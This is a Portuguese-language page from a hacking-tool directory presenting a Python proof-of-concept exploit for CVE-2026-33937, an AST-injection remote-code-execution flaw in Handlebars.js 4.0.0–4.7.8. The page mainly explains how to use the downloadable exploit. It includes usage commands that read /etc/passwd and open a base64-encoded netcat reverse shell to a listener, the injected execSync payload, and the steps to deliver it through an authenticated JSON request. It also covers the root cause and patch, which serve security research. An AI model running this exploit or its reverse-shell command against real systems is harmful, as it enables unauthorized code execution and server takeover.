Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-33937 — POC em Python, Exploit para RCE por injeção de AST no Handlebars.js, as versões 4.0.0 a 4.7.8 do Handlebars.js são afetadas. Pontuação CVSS: 9.8 Crítico. | Kitploit
Ferramentas/GitHubGitHub/c0gnit00/cve-2026-33937
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoDesenvolvimento de Payloads
GitHubc0gnit00/cve-2026-33937

CVE-2026-33937

POC em Python, Exploit para RCE por injeção de AST no Handlebars.js, as versões 4.0.0 a 4.7.8 do Handlebars.js são afetadas. Pontuação CVSS: 9.8 Crítico.

Ver Repositório
13há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-33937 — RCE por Injeção de AST no Handlebars.js

As versões 4.0.0 a 4.7.8 do Handlebars.js são afetadas. Pontuação CVSS: 9,8 (Crítico).


Visão Geral

CVE-2026-33937 é uma vulnerabilidade de confusão de tipos no Handlebars.js. A função Handlebars.compile() aceita tanto uma string de template quanto um objeto AST pré-analisado como entrada. Quando um atacante envia um objeto AST manipulado, o visitor NumberLiteral do compilador insere o campo value do nó literalmente no corpo da função JavaScript gerada, sem qualquer sanitização. Chamar render() no resultado executa código controlado pelo atacante dentro do processo Node.js.


Uso

root@kitploit:~
python3 exploit.py --url <target>  --username <email> --password <pass> --command  <cmd>

Argumentos

  • — URL base do alvo, ex.: (obrigatório)
--url
http://hello.veer/
  • --username — Endereço de e-mail de login (obrigatório)
  • --password — Senha de login (obrigatória)
  • --command — Comando do sistema operacional a executar; o padrão é id (opcional)
  • Exemplos

    root@kitploit:~
    # Verify RCE
    python3 exploit.py --url http://hello.veer/ --username cognito@veer --password 'P@ssw0rd@123' --command id
    
    # Read a file
    python3 exploit.py --url http://hello.veer/ --username cognito@veer --password 'P@ssw0rd@123' --command 'cat /etc/passwd'
    
    # To get reverse shell
    echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc <listener_ip> 4444 >/tmp/f' | base64 -w 0
    
    python3 exploit.py --url 'http://hello.veer/' --username 'cognito@veer' --password 'P@ssw0rd@123' --command 'echo <base64_payload>  | base64 -d | bash'
    

    Como Funciona

    Etapa 1 — Autenticação

    O script realiza um login completo antes de explorar a vulnerabilidade. Primeiro, ele envia uma requisição GET para /login para extrair o token _csrf oculto do formulário e, em seguida, envia esse token juntamente com o e-mail e a senha fornecidos por meio de um POST codificado como formulário para /login. Em caso de sucesso, o servidor retorna um redirecionamento 302 para /dashboard e define o cookie de sessão dz.sid, que é usado em todas as requisições subsequentes.

    Um novo token CSRF é obtido automaticamente antes de cada requisição POST, pois o middleware de CSRF do aplicativo exige um token em toda operação de mutação.

    Etapa 2 — Ponto de Injeção

    O aplicativo expõe POST /character, que aceita Content-Type: application/json. Essa rota cria um novo personagem de D&D e, quando campaign_id é fornecido, passa o campo campaign_message diretamente para Handlebars.compile() no servidor:

    root@kitploit:~
    // Server-side Node.js (vulnerable)
    const render = Handlebars.compile(campaign_message);  // no type check
    const output = render({ name, race, class });          // payload executes here
    // output is stored as a campaign log entry
    

    Quando o corpo da requisição é JSON, campaign_message pode ser um objeto aninhado (o AST) em vez de uma string, contornando qualquer validação de string na camada de formulário. O campo campaign_id faz com que o servidor armazene o resultado renderizado como uma mensagem de log da campanha, que pode então ser lida em GET /campaign/1 — fornecendo ao atacante uma saída de comando fora de banda.

    Etapa 3 — Payload de AST

    O exploit usa o NumberLiteral combinado com o helper lookup.

    A compilação normal de {{lookup this 1}} produz:

    root@kitploit:~
    env.helpers.lookup(this, 1, {options})
    

    O NumberLiteral.value injetado substitui o 1 por:

    root@kitploit:~
    {},{})) + process.mainModule.require('child_process').execSync('cmd').toString() //
    

    O JavaScript gerado se torna:

    root@kitploit:~
    env.helpers.lookup(this, {},{}))
    + process.mainModule.require('child_process').execSync('cmd').toString()
    // <remainder of expression is commented out>
    

    Quando render() é chamado, execSync() é disparado e seu stdout é retornado como o valor da expressão, que é armazenado como a mensagem da campanha.

    Os comandos são internamente envolvidos como /bin/sh -c 'cmd 2>&1' para que comandos com espaços, pipes e redirecionamentos funcionem corretamente e o stderr seja capturado juntamente com o stdout.

    Etapa 4 — Extração da Saída

    O script registra o número de mensagens da campanha antes de enviar o payload. Após o POST, ele busca /campaign/1 novamente e fatia messages[before_count:] para isolar a entrada recém-adicionada. Essa abordagem trata corretamente os casos em que o mesmo comando já foi executado antes, pois uma comparação baseada em conjunto deduplicaria saídas idênticas e deixaria passar o novo resultado.


    Causa Raiz Técnica

    No arquivo javascript-compiler.js do Handlebars.js, o código vulnerável é:

    root@kitploit:~
    // Versions 4.0.0 – 4.7.8
    NumberLiteral(number) {
        this.pushStackLiteral(number.value);  // value inserted verbatim, no type check
    }
    

    A versão 4.7.9 adiciona uma verificação de tipo no ponto de entrada de compile() que rejeita qualquer entrada que não seja uma string antes que o gerador de código seja sequer alcançado:

    root@kitploit:~
    // Patched in 4.7.9
    if (typeof input !== 'string') {
        throw new Handlebars.Exception(
            'You must pass a string or Handlebars AST to Handlebars.compile.'
        );
    }
    

    Referências

    • PoC do CVE-2026-33937 por dinhvaren: https://github.com/dinhvaren/cve-2026-33937
    • Handlebars.js: https://handlebarsjs.com
    • Handlebars no GitHub: https://github.com/handlebars-lang/handlebars.js

    Isenção de Responsabilidade

    Este repositório destina-se exclusivamente a pesquisa e educação em segurança. Use este exploit apenas contra sistemas que você possua ou para os quais tenha autorização explícita e por escrito para realizar testes.

    Baixar ferramenta